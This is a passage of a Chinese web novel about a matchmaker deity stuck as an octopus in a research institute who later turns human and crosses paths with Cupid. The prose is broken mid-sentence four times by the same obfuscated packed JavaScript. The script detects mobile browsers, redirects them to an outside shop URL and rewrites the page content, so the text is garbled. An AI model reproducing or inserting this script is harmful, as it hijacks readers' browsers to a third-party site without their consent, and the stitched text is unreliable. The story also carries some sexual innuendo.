柯乐目送着掰了的两人从门缝出去,门咔哒一声重新落锁。 音乐声再次凸显。 然而一口气还没喘匀,他的目光一扫而过,顿时整只章鱼八腿僵硬。 二楼的门大敞着,里面仍旧黑漆漆一片。 嗒。 他的身后突然响起皮鞋跟落地的声音。 “偷.情好看吗?” 冰冷沉稳的声音在他身后骤然响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944586|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还来不及做出反应,就被揪着头狠狠从管内拔了出来。 在黑暗中,他对上一双深邃的眸。 柯乐头脑发胀,连墨都忘记喷了,任由面前的人将他翻来覆去地摆弄。 怎么回事,安安安布洛斯???! 他也是一名研究员吗? 不对,那他刚刚岂不是也全程目睹了波特莱特的…… 也不对……他们两个一起看了一部黄.片?这算不算违法啊? 腿上传来一阵瘙.痒,酥麻的感觉从感知最为敏感的触手上传来。 安布洛斯拨弄着他的吸盘,然后用指甲盖轻抠吸盘边缘,带来轻微的刺痛和麻意。 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 嗯?桑格利凡的蛋不是爱丽丝副本的吗?怎么还在呢? 【亲爱的柯乐先生,副本内能够放入背包且没有用掉的物品可以存放在背包内,陪伴您到达下个副本哦。】 柯乐已经听不进系统的话了。 他的触手疯狂蠕动,企图摆脱这人的恶作剧,却被揪着腿尖肆意揉搓。 “可怜的家伙,腿少了一截。”安布洛斯用拇指和食指碾着章鱼的腿根,戳了戳吸盘和短腿截面,“厄尔尼诺买了你,倒是有趣。” 好……奇怪…… 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 这颗龙蛋究竟怎么长大的啊? 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 章鱼的断腿一阵抽搐,带动其他七条腿肆意挥舞攀爬,吸盘紧紧地吮.吸安布洛斯的虎口。 安布洛斯“嘶”了一声,再次戳着他的吸盘,“松开,你这家伙……” 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 安布洛斯的话梗在喉咙。 章鱼突然弓起身子,吸盘将安布洛斯的皮肤吸得通红,朝西方神明的脸喷出一股黏糊糊的水柱。 这是……什么? 柯乐的头脑发昏,长腿不住抽搐。 “啪”的一声,应急灯被安布洛斯用遥控器打开,微弱的黄灯照出了面前人的模样。 西方神明金色的卷发披散着,几缕头发沿着额头垂下,恰巧遮盖住他半边左眼。 黏糊糊的液体沿着他的碎发滴下,黏在他的眼睑、高挺的鼻梁和红润的薄唇。 安布洛斯将食指和拇指稍微分开,粘腻的液体便随着他的动作滴落,糊了章鱼的一圈小牙,他攥紧了拳头,眼眸狠厉阴蛰。 完蛋了。 这个想法刚刚冒头,柯乐就被一股毫不犹豫的外力摁进了管口。 安布洛斯修长的手指将他狠狠戳回生态柜。 噗通一声落水时,音乐盒也被气急败坏的西方神明关掉,“难听死了。” 他趴覆在玻璃上,触手上还残留着黏液,滑出一道痕迹。 安布洛斯突然离开,过了片刻皮鞋的声音再次由远及近,刷刷几声,胶带被用力地撕扯,一层层地裹上了他的生态柜。 “你不是想跑吗?还没做研究呢就像跑,没门。” 16. 【9%】 海蓝研究所静谧得可怕。 一楼排列着的生态柜显得有些渗人。 但再怎么样,都没有此刻的安布洛斯可怖。 安布洛斯抬手要抹去粘在额头的黏液,却又觉得恶心,结果拳头紧了又松再紧,一拳打在了柯乐的生态柜上,随后从后背抡圆了,掏出一把弓。 一楼的灯光白灯一闪而过,研究所的电路检查结束了。 【十二点整,小可为您播报目前对家攻略进度。】 【所长波特莱特似乎对您并不是很满意,您目前的攻略进度为:9%】 如果不是柯乐看到渣男波特莱特这个人刚刚才上演了一场活春.宫,他都要以为这个副本的对家仍旧是安布洛斯了。 这个时间太凑巧了——安布洛斯带着桃心的箭矢此刻就对准了他。 弦绷得很紧,安布洛斯的手在微微颤抖。 这把箭是缘分的见证,但必要时也是一把称手的武器。 柯乐哆嗦一番,安布洛斯还是把箭收了起来,冷冷地自言自语,又或者是对他说,“只是一只没有脑子的章鱼。” 柯乐:……真的很想骂人,但章鱼不能说话,太憋屈了。 他眼睁睁看着安布洛斯用胶带将整个生态柜裹了一层又一层,然后弹开波特莱特残留的烟头,“恶心的东西。” 安布洛斯明目张胆地打开大门,从大门走了出去。 门咔咔两声再次落锁,整座海蓝研究所彻底陷入沉眠。 这下彻底完了。 如果今晚没办法出去探索,那明天研究员来看到他的生态柜被人包成这副模样,肯定会起疑心,从而加大警戒的。 到时候要出去就真的难了。 柯乐在水中烦躁地游动,腿抽在玻璃柜上发出的响动被厚厚的胶带吞噬。 他尝试着用一圈牙齿去啃胶带,但胶带只是浅浅破了一层皮。 真的太讨厌这个西方的丘比特了!遇到他准没好事的!!哎等等…… “背包,哦不系统,”他激动到嘴瓢,“赶紧从背包内给我取出那个斧头,就那个我抽中的斧头!” 【您说的应该是[一把平平无奇的斧头]吧,这就为您取出来。】 “系统哎哎哎等等——”一把破伤风之刃被丢到生态柜里,气得柯乐在心里嗷嗷直叫,“给我割开这层胶带,你这是要谋杀宿主啊!” 【好的,小可这就为您办理。】 尖利的锋刃一刀就将胶带割破。 柯乐终于爬出了生态柜,倚着玻璃看向二楼……旁的电梯。 作为一只章鱼,他不配坐电梯。 柯乐废了九牛二虎之力,终于爬楼梯到了二楼,钻进了研究室中。 研究室的中央置放着一个超大的生态柜,他估摸着得有四米长。 墙壁上也是镶嵌着和一楼一样的生态柜,只不过在后面有一个试管码得整齐的操作台。 室内开关出奇的好找,就在进门。 他一脚摁下了开关,瞬间白光一道道亮起,将整个研究室照得通明。 他看清了中央摆放的巨大生态柜,他作为一只小章鱼,比起它来说或许真是蝼蚁。 但里面存放的生物才是真正让他呼吸停滞。 他费力攀上了玻璃,只见一条美人鱼静静地躺在生态柜里。 橘红色的长发在水中飘荡,人鱼赤.裸着身子,双眼紧闭,睫毛纤长。 肚脐以下的鱼尾覆盖着绿色的光滑鳞片,在灯光的照射下,从不同角度看,能够折射出五彩的光。 这本该是艳丽震撼的一幕,但柯乐却觉得恐惧—— 人鱼的尾巴足足有两米长,但却在末尾开了叉,一只白皙的小腿就那样突兀地长在尾巴上,就像被人嫁接在上面的一样。 他记得小美人鱼爱丽儿可是美丽的公主,最后变成了泡沫,也是一个美好的童话故事,这是什么东西哎! 忽然他瞥见生态柜边缘贴着一块标签,上面简简单单地写着一行字: 杜丽,西洋人鱼种,捕捉于亚特兰蒂斯海域。 这不就是莫罗斯的表妹杜丽吗? 她不是变成泡沫了吗?怎么会变成赤脚大仙摆在这个地方?! 算了,当务之急是找到1号试管,变成人再说。 研究员将试管收起,很可能是放在…… 柯乐的目光落在锁着的防盗柜上。 可恶,为什么刚刚就任由安布洛斯跑掉了? 他瞅了瞅自己的触手,蠕动到锁眼边。 他用凸起的章鱼眼睛朝锁孔里看,然后小心翼翼地用触手试探锁眼,咬咬牙插了进去。 电视剧里断手断脚的场景在他脑海中不断浮现,但柯乐还是很幸运,他的触手坚硬有力量,却又能够随意弯曲。 在触碰到底部后他触手一扭,保险柜的门弹开了。 里面果然陈列着一排试管,他迅速找到了装着透明液体的1号试管。 就在他要用触手取走卷走试管时,悠长的警报声在空旷的研究所里响起。 红光自头顶大灯发射,不断闪烁。 或许在某一个科室内,有人已经察觉到了实验室里的危机。 柯乐迅速卷起试管,啵一声拔出塞子,哐哐往断腿上淋! 二楼大门被野蛮踢开,穿着黑色防弹服的人列队冲了进来,枪口警惕地朝四周晃动。 有人啐了一声,“Shit!是一只章鱼?” 他们确定了这个空间内只有柯乐一直章鱼后,为首的人紧盯着他卷着的试管,掏出对讲,目光发沉,“厄尔尼诺带回来的松木章鱼使用了1号试管,目前1号试管已空。” 对讲沙沙响了两声,安布洛斯低沉的声线在寂静空间内显得十分突兀。 “捉住它,然后,封在隔音罐里。” * 托安布洛斯的福,柯乐被安排进了单人隔间。 这个隔间比存放杜丽的生态柜还要大,四周被封死,听不到外界任何的声音,只有中间孔洞里,氧气机的管子在往里面呜呜灌气。 柯乐看着自己的断腿,并不平滑的截面显得过分丑陋……等等,怎么好像有什么东西要破土而出? 他死死盯着截面,在断口弹动抽搐一下时,他的其余七条触手开始不受控地甩动。 从吸盘处皆长出了不同程度的增生,顶破了吸盘,就像…… 杜丽尾巴上长出的腿。 不是哥们,这是什么克苏鲁形态?? 明早研究员一回来,岂不是他就成了全研究所的焦点了? 不行,得先逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944587|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! “系统,看看背包里有什么。” 【好的柯乐先生,为您打开背包面板。】 女仆装、旗袍、一颗蛋、一顶帽、一把斧头、一枚金币和一个只会哇呜乱叫的音乐盒。 给他颁一个“最穷的人”的头衔应该不过分。 此刻已经被逼到绝路,再听系统的话命就要没了。 他想用掉女巫的金币了。 “系统,取出金币。” 【很抱歉,金币的使用仅限于许愿池。】 是哦,女巫说过的,得在许愿池抛金币。 许愿池究竟在哪个地方? 之前年少太无知,早知道会落到现在这个境地,一开始直接答应女巫得了。 还有那个海狗的任务,现在连海狗的须都没看到…… 他太依赖系统了。 他的目光在背包面板上左右扫视,寥寥几件物品让他盯出了花。 作为一个时代新月老,他要勇于突破重围。 不如举起武器,冲出去,佛挡杀佛神挡杀神! “系统,取出斧头。” 【好的,为您取出[一把平平无奇的斧头]。】 在斧头空降水中,到达柯乐触手的前一秒,他的触手一卷,势在必得…… 哎呀,手滑了! 不是吧,这么虐的吗? 他的触手突然不受控地抽抽,竟然将这把破伤风之刃甩了出去! 【背包[一把平平无奇的斧头]取出成功……失败……成功……】 【判定柯乐先生的行为与斧头历史高度相似,触发[河神的质问],开始传送……】 白光乍然从眼前闪过,柯乐被晃得睁不开眼。 再等周遭安定下来时,潺潺水声由远及近,静谧之感让他以为他被传送回了家园内。 柯乐睁眼,周围有船只鳞次栉比,也有高矮的茅草屋,但皆是没有人烟。 这些景色不过是背景板。 他已恢复人身,正站在一座拱桥上,流水声就是水流撞击桥墩,被桥下拱洞内放大的。 正迷茫着,底下的水突然起了漩涡。 漩涡中心,一个矮个子老头缓缓升起。 这难道是……河神?? 河神眼睛眯成细长的缝,捋着斑白长胡须,嘿嘿两声,“年轻人,你为何丢掉我的法宝?” “河神大人,我没有故意丢掉,是失手,”柯乐怕他听不明白,解释道,“失去了一条触手,简称失手。” 河神顿了顿,眼睛突然瞪大了,胡子吹起,哼了一声,“我孙子告诉我,现在是新时代,这些老古董要上交,让后人学习良好品德。我宠爱孙子,这才将斧头赠送封存,你倒好,直接给我扔了!你何意味?” “大人,不知道你的孙子有没有告诉你,不破不立的道理?”柯乐侃侃而谈,“先摔坏,再能有新的。” 河神白眉毛挑起,似乎在深思,片刻后袖子一甩,“老夫问你一个问题。” 柯乐倚着桥边护栏,“您请。” 两把斧头从水里升起,河神左右手分别拿着这一金一银两把斧头,徐徐问道:“年轻人,你是要这把金斧头,还是要这把银斧头?” 柯乐毫不犹豫,“成年人不做选择,我两把都要。” 17. 【9%】 河神的脸色瞬间阴云密布。 “年轻人,”河神一下收了笑容,“你太贪婪了。” 柯乐挑了挑眉,“那……金的?” “你难道忘记你的那把破伤风……那把古董武器了吗?!”被带偏的河神气的真·吹胡子瞪眼,“你既然这么没有素养,你的任务也……” 就在这时,柯乐眼尖地看到远处的河岸边,好像有什么深褐色的动物在动? 他呐呐地问:“这里不是河吗?难道是我眼花了?” “这里是河海交界啊小子,”河神沿着柯乐眼睛锁定的方向看去,气陡然更上一层,“不就是一只海狗吗,你究竟有没有在听?” 真是任务里那只走丢的海狗! 柯乐拔腿追了上去,海狗察觉到桥上的动静,双鳍在地上扑腾,往水里钻去。 柯乐大喊:“你别跑!” “你才别跑,小子。”河神拉住柯乐的衣领,将他提了回来,“你太没礼貌了,老夫要送你去回炉重造,听明白了吗,回炉重造!” 柯乐眼睁睁看着海狗在水里朝他做了个wink,然后游走。 【解锁支线任务:[通过气质培训班],将自己打造成一个有气质的美男子,让渣男为您情动。】 这不就是……捞男?? “河神大人,您让我去干这个?”柯乐瞪大双眼。 河神老头哼哼,“你这副章鱼怪的模样,别说提升气质了,别人先给你吓死了。” “这真不怪我,”柯乐委屈,“副本初始设定就是这样的,我也不想,太丑了。” 河神上下打量他,评定道:“真是一个冥顽不灵的小子,你既然没办法抛硬币,那你如果要有好看点的腿,那你就得身体的什么部分来交换。” 哎?还行,这叫什么,这不就是——天无绝人之路,柳暗花明又一村呢! 柯乐想了想,“鼻子的嗅觉?” “不要。”河神老头瞥嘴,嘟喃了一句什么,但柯乐觉得一定不是什么悦耳的话,“你本来嗅觉就不灵敏,听黑方J说,你能往罗宋汤内放致死量的罗勒,也不觉得呛。” 黑方J,许久不见的故人啊!这是什么联动? 河神清了清嗓子,“喉咙的声音或者耳朵的听力,你选一个。” 说不出话……那可不行,他得憋死。 “耳朵的听力吧。”柯乐说。 耳聋至少还能看唇语。 多学习一门技能,有利于他走遍江湖。 柯乐这样宽慰自己。 “小子,想好了吗?”河神再次问了一遍,“开弓可没有回头箭。” “想好了,我就要变成人。”才能完成任务啊。 “好的,那就让我来帮助你。”河神递给他一个棕色不透光的瓶子,“喝下去,我给你施法。” 柯乐拔了瓶塞,咕咚咕咚下肚。 河神老头突然嘿嘿两声,声音变得又尖又细,“收下了,你的听觉。” 什么???! 瓶子从手中滑落,摔到地上,哐当碎裂的声音变得遥远而不实。 柯乐呆呆地看着瓶子底部剩余的绿色液体。 河神的身段肉眼可见地抽长,白胡子也消退,一头乱糟糟的头发从头顶长出,眉眼也变得浑浊狠厉。 这哪里是河神,明明就是一开始进入副本时遇到的女巫! 他被骗了! 女巫的笑声尖利,声音渐渐变弱,变得模糊不清,最终趋于安静。 更可怕的是……柯乐高估了自己读唇语的能力。 他看着女巫发皱的嘴唇,他只能识别出“加油”和“再见”。 柯乐:……崩溃啊! 【[河神的质问]结束。】 【柯乐先生,您还是与女巫做了交易,小可尊重您的选择,您已获得美貌加持和身材加持,祝您好运。】 【女巫已经为您开启了[气质培训班],请您完成支线任务[通过气质培训班]。】 【开始传送……】 【传送完成。】 * 再回过神来,柯乐发现自己正在一间教室内。 木桌子排列得整整齐齐,黑板被擦得干净,风扇呜呜地响,时而发出嘎吱嘎吱的响声。 【本场培训采用天堂全息技术,让远程指导零距离。】 【即将为您匹配相应的指导老师。】 【匹配中……】 【匹配完成。】 【爱神丘比特竭诚为您服务。】 柯乐:“……我就知道!系统你可以直接搞我的,没必要用这种羞耻的方式。” 【尊敬的柯乐先生,小可真的很委屈呢。】 【从性格到长相,丘比特融合了美神维纳斯和战神马尔斯的血统,从美貌到气质,是最顶尖的指导老师呢。】 “行吧行吧,搞快点,赶紧结束掉。” 【在指导教室内,为了保证课程质量,将暂时恢复您的听力。】 【指导老师全息投影中……】 【连线成功。】 “柯乐,端正你的坐姿。” 冰冷的声音从讲台传来,柯乐下意识将翘着的二郎腿放下,腰背挺直。 “很好。” 熟悉的声音刚落,高挑的身形就在柯乐面前浮现。 安布洛斯半束着发,几缕发丝垂下,恰巧半遮着他的金丝眼镜,隐去那双看起来总是带着水汽的眸。 西方神明手持一根细长铁棍,敲了敲柯乐的肩胛骨,如愿看着两片削瘦骨头如蝴蝶振翅,“夹紧。” ……柯乐是一名纯情的月老,但偶尔在牵完线后会听到一些不那么想听的声音,还有一些敏.感词。 他将自己代入想象的画面,打了个寒颤。 “坐姿这么差,体态永远好不了。”铁棍在他锁骨上轻敲,“这里,挺胸,再夹背。” 他怎么就得听这人指三道四的? 柯乐愤愤地磨了磨牙,重新翘起二郎腿,“你倒是说说,你这个副本是来搅什么局的?” “闭嘴,不乖的学生。”安布洛斯抱胸,然后扶了扶镜框,“站起来听课。” 靠!安布洛斯存心要整他的吧? 柯乐偏头不想看他,一双运动鞋在空中不住抖动。 安布洛斯一声冷笑,“既然这么不配合老师的工作,那老师应该给你评一个……D?还是F……要不还是G吧,这种不守秩序的学生,不会有什么幸福的未来的。” 好歹毒的西方神明丘比特! 柯乐腾地站起,椅腿在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944588|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上摩擦发出咯吱的摩擦声,“然后呢,老师。” “嗯,很棒。”安布洛斯艳红充血的唇勾人又渗人,不疾不徐,“你知道你要面对的那些人,都喜欢哪种人吗?” “长得好看。”柯乐回答。 “不一定,因为每个人的看法不同。”安布洛斯的手突然搭上他的肩膀,然后上下反复游移,“首先要能学会‘低人一等’。” 柯乐挪了挪身子,然后轻微挪了桌子,整个身子就被半包围在桌椅间藏住。 “你的站姿,抬头挺胸,”安布洛斯发出一声轻笑,微微俯身,“没有叫你梗着脖子,真像一只乌龟。” 柯乐索性半倚着桌子,“什么叫‘低人一等’?” 安布洛斯的铁棒在食指和中指间转了个圈,“他们都喜欢黏人的人、好控制的人,你这么大岁数,谈过恋爱吗?” 柯乐:……有被冒犯到。 安布洛斯勾起嘴角,“答案太明显了,那你就保持这份纯情。” 西方神明扔给他一支棒棒糖,“吃。” 柯乐不客气地接过,剥开糖纸扔到嘴里,咬得嘎嘣脆。 “欧,愚蠢且自私的家伙。”安布洛斯扶额。 愚蠢……自私? 柯乐将咬了一半的糖从嘴里抽了出来,舔了舔嘴角,将糖碎卷进嘴里,“有点太甜了,给你尝尝味道?” 安布洛斯顿住,一双绿眸中的光闪了闪,一时哑然。 “不吃还说别人自私。”柯乐重新将糖扔回嘴里嚼吧嚼吧。 安布洛斯轻咳一声,喉结上下滚动,递给他一本书,“如果现在有一个男人,让你陪他看书,你接下来该干什么?” 柯乐毫不犹豫,“他看书,我看短视频,书太深奥,不适合我。” “不,你应该这样,”安布洛斯突然俯身,绿眸如寒潭化水,鼻尖几乎要相抵,金色碎发垂下,撩拨得柯乐有些痒,“逼近他,然后……” 西方神明挨了过来,衣物摩擦声极其明显,“和他贴在一块。” 柯乐稍稍偏过头,就能近距离看到高挺的鼻梁。 和东方的神韵不同,西方神明的眼窝凹陷,深邃的眉眼总是显得万分深情。 柯乐咽了咽口水,“你这太吃建模了,如果没有长成你这样,做这些就是纯流氓行径。” 他指了指自己,轻推挨着他的西方神明,“我要是有你这张脸,我可能就是海王了。安布洛斯,你让我做这些,有点太强人所难了。” 安布洛斯身子一僵,“恶心的家伙,不要总是撒娇。” 柯乐不可置信,“我哪里又撒娇了?” 安布洛斯扬起手,微抬食指,看起来不甚在意,“算了,你的能力足够毕业了,要不是天堂突然说要测试个什么全息技术,我可不来和你消耗时间。” 哦?那看来安布洛斯还不知道系统的存在,他只当是天堂下发的任务。 【恭喜柯乐先生完成支线任务[通过气质培训班],获得随机预测点3点。】 【经过爱神丘比特的认可,您已经是貌美勾人的美男子。】 【那么,请继续您的主线任务吧!】 【提示:您有且仅有一次接近渣男的机会,请好好珍惜。】 【加油,亲爱的柯乐先生。】 18. 【9%】 “厄尔尼诺,你看那边那个男人,看起来很漂亮。” “是的,他是谁的人?” “不清楚,但他好像听不见。” “原来是个聋子啊……” 柯乐被传送到一处富丽堂皇的府邸,这里正在举办一场盛大的聚会。 层层叠起的高脚杯立在大厅中央,适应生推着佳肴缓缓穿插在交谈的人群中。 柯乐缩在角落,倚着柱子。 这里有一半以上的人他有印象,都是出自蓝海研究所,其他的或许是某个地方的权贵。 周遭发生的一切好像一场默剧。 他试图从口型判断他们的谈话,但仍旧只能辨别出个别的词汇。 好像很多人在看他,他显得格格不入。 他本来就是个社恐,现在他很想找个地洞躲起来。 然而系统偏偏在这个时候提醒他。 【柯乐先生,您选择了女巫,获得人类身体的同时,您将受到时间的束缚。】 【如果您在两天,也就是四十八小时内没有攻略渣男的话,您将变成泡沫,进度条清零。】 【请注意时间,主动进攻。】 【剩余时间:48:00:00】 柯乐抓住面前走过的人的袖子,“请问这里在做什么?” 面前这人一身酒红色西装,纽扣被柯乐紧紧攥住,一脸迷茫,“今天可是所长继任宴请,不是需要邀请函才能进来吗?” 柯乐只能看懂“所长”、“宴请”、“邀请函”,但起码是关键词。 看来这是所长波特莱特的局。 这是接近目标的重要契机,但要他去主动接近这渣男中年所长…… 他做不到啊! “喂,侍应生!”面前的人突然朝他后方招手,柯乐慌忙松开他,摇了摇头。 侍应生以为他骚扰了来宾,忙赶了过来,打量着柯乐的脸,“您是哪位?请出示邀请函。” 邀请函……他哪里有这玩意? 他局促地卷着手指,正进行着一场头脑风暴,一个穿着束脚裤的小男孩突然撞了他一下。 小男孩说了句什么,或许抱怨了一句,他听不见,只能伸手虚虚扶了一下,说了一声抱歉。 小男孩也愣了一下,侍应生的脸色变了变,估计此刻也发现了他是个耳聋的,出手就要拖着他离开。 一双手横了过来,挡在二人中间。 厄尔尼诺拿着一颗皮球递给小男孩,顺便摸了摸他的头。 小男孩拿了球,努了努嘴,走了。 “球。”厄尔尼诺重复了几次,对柯乐做口型,“他想要球。” 将头发往后捋去,轻轻将柯乐往他身后拨,“这是我带来的人,他耳朵听不见,给安格利科长添麻烦了。” 柯乐听不见,但对厄尔尼诺的好感度再次上升。 这样英俊又绅士的人,有谁会不喜欢呢? 安格利也很喜欢厄尔尼诺这个很上道的年轻人,点了点头,没有计较,“看紧点,别惹出什么事来。” 厄尔尼诺突然抬手揽了他的腰,用了几分力道,将他往身边靠。 柯乐一僵,想挣脱又想起对方是在帮助他,只好生生忍着,朝酒红色西装挤出一个笑容。 厄尔尼诺朝他笑了笑以示安抚,用嘴型和他缓慢地说,“我们走吧。” 就在此刻,“滋啦”一声,全场突然陷入黑暗。 柯乐的五感本就少了一感,现在黑暗又夺取了他的视力。 两种最为重要的感知能力被剥夺,这还怎么生存啊! 他很想蹲下来蜷缩成一团,他的腿被不同的人蹭过,他只能感觉出毛茸茸的触感,大概是刚才的小男孩。 厄尔尼诺手上的力道遒劲了几分,他被迫往厄尔尼诺身边靠去,忽而他的侧腰被什么东西狠狠掐了一下! 他差点惊呼,但此刻正处在公共场合,极其容易引起他人的关注,到时候就是吃不了兜着走了。 他这么想着,一只更加暖和,甚至称得上滚烫的手从厄尔尼诺的对侧伸来,再次拧了一下他的侧腰。 腰是一个很敏感的地方,和触手相比有过之而无不及。 他和想扭动,但是轻轻一动,那只不知道从哪里冒出来的手就开始游移。 黑暗放大了触觉,那只手先是在他的腰窝打转,然后用指尖戳他的腰窝…… 等等,这个手法怎么有点熟悉? 还没来得及思考,这只手突然将他的腰扣住,然后狠狠一拉! 他一个踉跄,厄尔尼诺察觉了他的不对劲,以为他是被撞到了,又将他往身旁轻柔揽过。 那只手感知到他的偏离,也不甘示弱,五指掐着他的腰侧,展现出和厄尔尼诺截然相反的狠厉。 来历不明的手突然发力,柯乐一个踉跄就往一旁倒去,手忽然摁上一个硬质的尖角。 这是什么东西? 他抓着尖角摸了摸,是有弧度的,在中间凹进去又凸出来…… 好像一个心形。 嘶,心形…… 他将整个心形用手掌包了起来,然后猛地一拔,迅速用手指抚摸感知。 桃心箭?安、安、安布洛斯???! 他怎么又在这里!现在是怎么个意思?! 不是,安布洛斯怎么搂着他的腰? 这个认知让他觉得荒唐,心绪在黑暗与无声的世界胡乱涣散,无数的念头汇成嘈杂的声音充斥着他的脑海。 他的心脏噗通噗通狂跳。 厄尔尼诺又将他拉了拉,他下意识往安布洛斯的方向靠。 安布洛斯的手指摩挲着他的腰,然后又被拉了回来…… 这样一来一回,柯乐东倒西歪,是真没招了。 这是什么拉锯战吗?! 我命由我不由天! 红线从指尖抛出,落在一个实处,他扯了扯,确认目标有足够的重量,他将线一收,整个人往前抛去。 太幸运了,他撞到的人不……多。 聚光灯突然打下,照亮高台上一个玻璃展柜,透出的光也让他看清被他当做落点的东西。 噗—— 他整张脸陷入一个软绵绵的东西里。 他缓缓将脸从那东西里挪开,抬头时整个人怔住。 一个胖子用一种疑惑不解的清澈眼神看着他,与他对视片刻,然后…… 掏出了一个甜甜圈。 甜甜圈淋着巧克力酱,面包体是粉红色的,绝对是草莓味的,毕竟上一个副本他也偷吃了一个。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944589|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “来一个?”胖子将甜甜圈递出去又收回来,犹豫不决,“新来的所长喜欢甜甜圈,我从来没有吃过这么好吃的甜甜圈,太棒了!” 胖子的动作缓慢,他读唇语容易了不少,“新的”、“所长”、“好吃”、“甜甜圈”。 这个甜甜圈和他上次偷吃的长得好像,感觉好像是同一家西饼店做的。 一个有点不大妙的想法从他的脑海初具雏形,但他发散的思绪一下被台上的东西镇住了。 既不是爱情片里经常写的待买美人,也不是武侠小说里常有的稀世武器。 硕大的玻璃柜里,装着他找了许久的海狗! 那只可怜的海狗正躺在玻璃柜里,惊恐地看着外面围着的人。 胸前戴着锦花的女人从台侧拨开帘子走了出来,微笑着说了什么,柯乐看不清。 她打开了身后的投影,放起了PPT。 PPT大致讲述了海狗被捕捉的过程,总结来说和柯乐章鱼形态时被捕的原因一样——贪吃。 只不过还顺带说了一些新晋的捕捞工具,也突出了海狗和章鱼的捕捞难度区别。 这不就是说他的智商不如一只海狗呗。 柯乐不悦地努努嘴,本不想再看,但PPT上突然投出了表妹杜丽。 她的模样属实让他在看过实体之后还是惊异。 那尾巴上的腿好像又长长了些,已经逐渐替代了半条尾巴。 影相突然变幻,一行手写体跃动在幕布上: “人鱼长出了双腿,为人类医疗做出了极大的贡献。” 灯光突然移动位置,打在幕布上。 波特莱特这个伪君子掀开布帘,在台上大放厥词,但柯乐全然没听清,眼神也不好,唇的张合他在台下一概看不清。 就在他聚精会神时,他的屁股被人撞了一下,随后似乎有人的手掌在上面擦过。 他瞬间打了个寒颤,慌忙侧身躲过,偏头却看到厄尔尼诺正狐疑地看着他。 原来是厄尔尼诺呀,那没事了,他会保护他的,或许是这里太挤,别人也没有注意蹭到的。 他的肌肉稍稍放松,朝厄尔尼诺微微笑了笑。 厄尔尼诺用口型说:“刚才找不到你,现在带你出去?” 他往台上瞅了一眼,咬了咬下唇,轻轻摇了摇头。 他想继续观看,余光中厄尔尼诺的眼神好像闪过瞬间的狠厉。 但他再次看向厄尔尼诺时,他却仍旧在看着他微笑。 深情款款,好像对章鱼形态的他是如此,对人类形态的他也是如此。 他魅力这么大的吗?做动物做人类都这么优秀。 “联系方式。”厄尔尼诺翻出手机,“交换。” 柯乐毫不犹豫。 毕竟帅哥不多见,其实要是他那个死对头脾气好点,也能排个数一数二的位置…… 不对啊,为啥想到安布洛斯?对了,他去哪里了? 就在此刻,在大厅的右后方,应急出口牌子的光照下,一道寒光乍现。 他的心跳迅速加快,脑袋嗡嗡直响。 人类看不见的所在——丘比特乳白色的双翅大张,悬停凌驾于众人之上,拉满了弓,箭头对准了…… 厄尔尼诺! 19. 【-7%】 安布洛斯这个疯子! 他的箭难道是批发的,都不值钱吗? 想射谁就射谁?! “疯了?”柯乐不敢出声,怕耳朵听不见,骨传导让他直接大声喊出来,只得疯狂挤眉弄眼,“放下。” 安布洛斯显然注意到了他,箭悬停片刻,还是将弓箭放下,面容阴鸷,启唇。 “愚蠢。” 柯乐虽然听不到,但从他的表情可以在脑海里大致臆想出他不耐又气愤的语气。 他的肩膀被厄尔尼诺拍了拍。 他端详着厄尔尼诺,猜测着为什么安布洛斯会对他有敌意。 安布洛斯觉得厄尔尼诺长得比他帅?总不可能是因为他和厄尔尼诺走得近吧? 场内的灯光突然亮起,柯乐眯了眯眼。 PPT上换成了一行字: 十二点整,惊喜派对。 灯光亮起时,西装革履之人都是这样道貌岸然,谈吐风雅。 